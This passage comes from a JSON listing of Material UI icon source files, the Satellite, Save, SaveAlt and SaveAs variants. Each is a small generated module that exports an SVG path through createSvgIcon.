    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 5h3c0 1.66-1.34 3-3 3zm0 5.91c0-.49.36-.9.85-.98 2.08-.36 3.72-2 4.08-4.08.08-.49.49-.85.98-.85.61 0 1.09.53 1 1.13-.48 2.96-2.81 5.3-5.77 5.78-.6.1-1.14-.39-1.14-1m.63 6.28 2.49-3.2c.2-.25.58-.26.78-.01l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.41-.01-.65-.49-.39-.82\"\n}), 'SatelliteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM5 4.99h3C8 6.65 6.66 8 5 8zM5 12v-2c2.76 0 5-2.25 5-5.01h2C12 8.86 8.87 12 5 12m0 6 3.5-4.5 2.5 3.01L14.5 12l4.5 6z\"\n}), 'SatelliteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM5 4.99h3C8 6.65 6.66 8 5 8zM5 12v-2c2.76 0 5-2.25 5-5.01h2C12 8.86 8.87 12 5 12m0 6 3.5-4.5 2.5 3.01L14.5 12l4.5 6z\"\n}), 'SatelliteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zM6 6h2.57c0 1.42-1.15 2.58-2.57 2.58zm0 4.29c2.37 0 4.28-1.93 4.28-4.29H12c0 3.31-2.68 6-6 6zm3 2.86 2.14 2.58 3-3.86L18 17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM8.57 6H6v2.58c1.42 0 2.57-1.16 2.57-2.58M12 6h-1.72c0 2.36-1.91 4.29-4.28 4.29V12c3.32 0 6-2.69 6-6m2.14 5.86-3 3.87L9 13.15 6 17h12z\"\n}, \"1\")], 'SatelliteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SatelliteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zM6 6h2.57c0 1.42-1.15 2.58-2.57 2.58zm0 4.29c2.37 0 4.28-1.93 4.28-4.29H12c0 3.31-2.68 6-6 6zm3 2.86 2.14 2.58 3-3.86L18 17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM8.57 6H6v2.58c1.42 0 2.57-1.16 2.57-2.58M12 6h-1.72c0 2.36-1.91 4.29-4.28 4.29V12c3.32 0 6-2.69 6-6m2.14 5.86-3 3.87L9 13.15 6 17h12z\"\n}, \"1\")], 'SatelliteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Save.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V7zm-5 16c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-10H5V5h10z\"\n}), 'Save');"
  },
  {
    "path": "packages/mui-icons-material/lib/Save.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V7zm-5 16c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-10H5V5h10z\"\n}), 'Save');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12v7H5v-7H3v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7zm-6 .67 2.59-2.58L17 11.5l-5 5-5-5 1.41-1.41L11 12.67V3h2z\"\n}), 'SaveAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12v7H5v-7H3v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7zm-6 .67 2.59-2.58L17 11.5l-5 5-5-5 1.41-1.41L11 12.67V3h2z\"\n}), 'SaveAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12v7H5v-7H3v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7zm-6 .67 2.59-2.58L17 11.5l-5 5-5-5 1.41-1.41L11 12.67V3h2z\"\n}), 'SaveAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12v7H5v-7H3v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7zm-6 .67 2.59-2.58L17 11.5l-5 5-5-5 1.41-1.41L11 12.67V3h2z\"\n}), 'SaveAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13v5c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-5c0-.55-.45-1-1-1s-1 .45-1 1v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1s-1 .45-1 1m-6-.33 1.88-1.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-3.59 3.59c-.39.39-1.02.39-1.41 0L7.7 12.2a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L11 12.67V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SaveAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13v5c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1v-5c0-.55-.45-1-1-1s-1 .45-1 1v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1s-1 .45-1 1m-6-.33 1.88-1.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-3.59 3.59c-.39.39-1.02.39-1.41 0L7.7 12.2a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L11 12.67V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'SaveAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12v7H5v-7H3v9h18v-9zm-6 .67 2.59-2.58L17 11.5l-5 5-5-5 1.41-1.41L11 12.67V3h2z\"\n}), 'SaveAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12v7H5v-7H3v9h18v-9zm-6 .67 2.59-2.58L17 11.5l-5 5-5-5 1.41-1.41L11 12.67V3h2z\"\n}), 'SaveAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12v7H5v-7H3v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7zm-6 .67 2.59-2.58L17 11.5l-5 5-5-5 1.41-1.41L11 12.67V3h2z\"\n}), 'SaveAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12v7H5v-7H3v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7zm-6 .67 2.59-2.58L17 11.5l-5 5-5-5 1.41-1.41L11 12.67V3h2z\"\n}), 'SaveAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAs.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12.4V7l-4-4H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h7.4zM15 15c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3M6 6h9v4H6zm13.99 10.25 1.77 1.77L16.77 23H15v-1.77zm3.26.26-.85.85-1.77-1.77.85-.85c.2-.2.51-.2.71 0l1.06 1.06c.2.2.2.52 0 .71\"\n}), 'SaveAs');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAs.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12.4V7l-4-4H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h7.4zM15 15c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3M6 6h9v4H6zm13.99 10.25 1.77 1.77L16.77 23H15v-1.77zm3.26.26-.85.85-1.77-1.77.85-.85c.2-.2.51-.2.71 0l1.06 1.06c.2.2.2.52 0 .71\"\n}), 'SaveAs');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12.4V7l-4-4H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h7.4l2-2H5V5h11.17L19 7.83v6.57zM15 15c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3M6 6h9v4H6zm13.99 10.25 1.77 1.77L16.77 23H15v-1.77zm3.26.26-.85.85-1.77-1.77.85-.85c.2-.2.51-.2.71 0l1.06 1.06c.2.2.2.52 0 .71\"\n}), 'SaveAsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12.4V7l-4-4H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h7.4l2-2H5V5h11.17L19 7.83v6.57zM15 15c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3M6 6h9v4H6zm13.99 10.25 1.77 1.77L16.77 23H15v-1.77zm3.26.26-.85.85-1.77-1.77.85-.85c.2-.2.51-.2.71 0l1.06 1.06c.2.2.2.52 0 .71\"\n}), 'SaveAsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.41 6.41-2.83-2.83c-.37-.37-.88-.58-1.41-.58H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7.4l8.6-8.6V7.83c0-.53-.21-1.04-.59-1.42M12 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-9c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h7c.55 0 1 .45 1 1zm4.99 7.25 1.77 1.77-4.84 4.84c-.1.09-.23.14-.36.14H15.5c-.28 0-.5-.22-.5-.5v-1.06c0-.13.05-.26.15-.35zm3.26.26-.85.85-1.77-1.77.85-.85c.2-.2.51-.2.71 0l1.06 1.06c.2.2.2.52 0 .71\"\n}), 'SaveAsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.41 6.41-2.83-2.83c-.37-.37-.88-.58-1.41-.58H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7.4l8.6-8.6V7.83c0-.53-.21-1.04-.59-1.42M12 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-9c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h7c.55 0 1 .45 1 1zm4.99 7.25 1.77 1.77-4.84 4.84c-.1.09-.23.14-.36.14H15.5c-.28 0-.5-.22-.5-.5v-1.06c0-.13.05-.26.15-.35zm3.26.26-.85.85-1.77-1.77.85-.85c.2-.2.51-.2.71 0l1.06 1.06c.2.2.2.52 0 .71\"\n}), 'SaveAsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12.4V7l-4-4H3v18h9.4zM15 15c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3M6 6h9v4H6zm13.99 10.25 1.77 1.77L16.77 23H15v-1.77zm3.62-.09-1.2 1.2-1.77-1.77 1.2-1.2z\"\n}), 'SaveAsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12.4V7l-4-4H3v18h9.4zM15 15c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3M6 6h9v4H6zm13.99 10.25 1.77 1.77L16.77 23H15v-1.77zm3.62-.09-1.2 1.2-1.77-1.77 1.2-1.2z\"\n}), 'SaveAsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.17 5H5v14h9.4l4.6-4.6V7.83zM12 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-8H6V6h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12.4V7l-4-4H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h7.4l2-2H5V5h11.17L19 7.83v6.57zM15 15c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3M6 6h9v4H6zm13.99 10.25 1.77 1.77L16.77 23H15v-1.77zm3.26.26-.85.85-1.77-1.77.85-.85c.2-.2.51-.2.71 0l1.06 1.06c.2.2.2.52 0 .71\"\n}, \"1\")], 'SaveAsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveAsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.17 5H5v14h9.4l4.6-4.6V7.83zM12 18c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-8H6V6h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12.4V7l-4-4H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h7.4l2-2H5V5h11.17L19 7.83v6.57zM15 15c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3M6 6h9v4H6zm13.99 10.25 1.77 1.77L16.77 23H15v-1.77zm3.26.26-.85.85-1.77-1.77.85-.85c.2-.2.51-.2.71 0l1.06 1.06c.2.2.2.52 0 .71\"\n}, \"1\")], 'SaveAsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V7zm2 16H5V5h11.17L19 7.83zm-7-7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3M6 6h9v4H6z\"\n}), 'SaveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V7zm2 16H5V5h11.17L19 7.83zm-7-7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3M6 6h9v4H6z\"\n}), 'SaveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.59 3.59c-.38-.38-.89-.59-1.42-.59H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7.83c0-.53-.21-1.04-.59-1.41zM12 19c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m1-10H7c-1.1 0-2-.9-2-2s.9-2 2-2h6c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'SaveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.59 3.59c-.38-.38-.89-.59-1.42-.59H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7.83c0-.53-.21-1.04-.59-1.41zM12 19c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m1-10H7c-1.1 0-2-.9-2-2s.9-2 2-2h6c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'SaveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H3v18h18V7zm-5 16c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-10H5V5h10z\"\n}), 'SaveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H3v18h18V7zm-5 16c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-10H5V5h10z\"\n}), 'SaveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h14V7.83L16.17 5zm7 13c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-8H6V6h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V7zm2 16H5V5h11.17L19 7.83zm-7-7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3M6 6h9v4H6z\"\n}, \"1\")], 'SaveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SaveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h14V7.83L16.17 5zm7 13c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3m3-8H6V6h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V7zm2 16H5V5h11.17L19 7.83zm-7-7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3M6 6h9v4H6z\"\n}, \"1\")], 'SaveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SavedSearch.js",
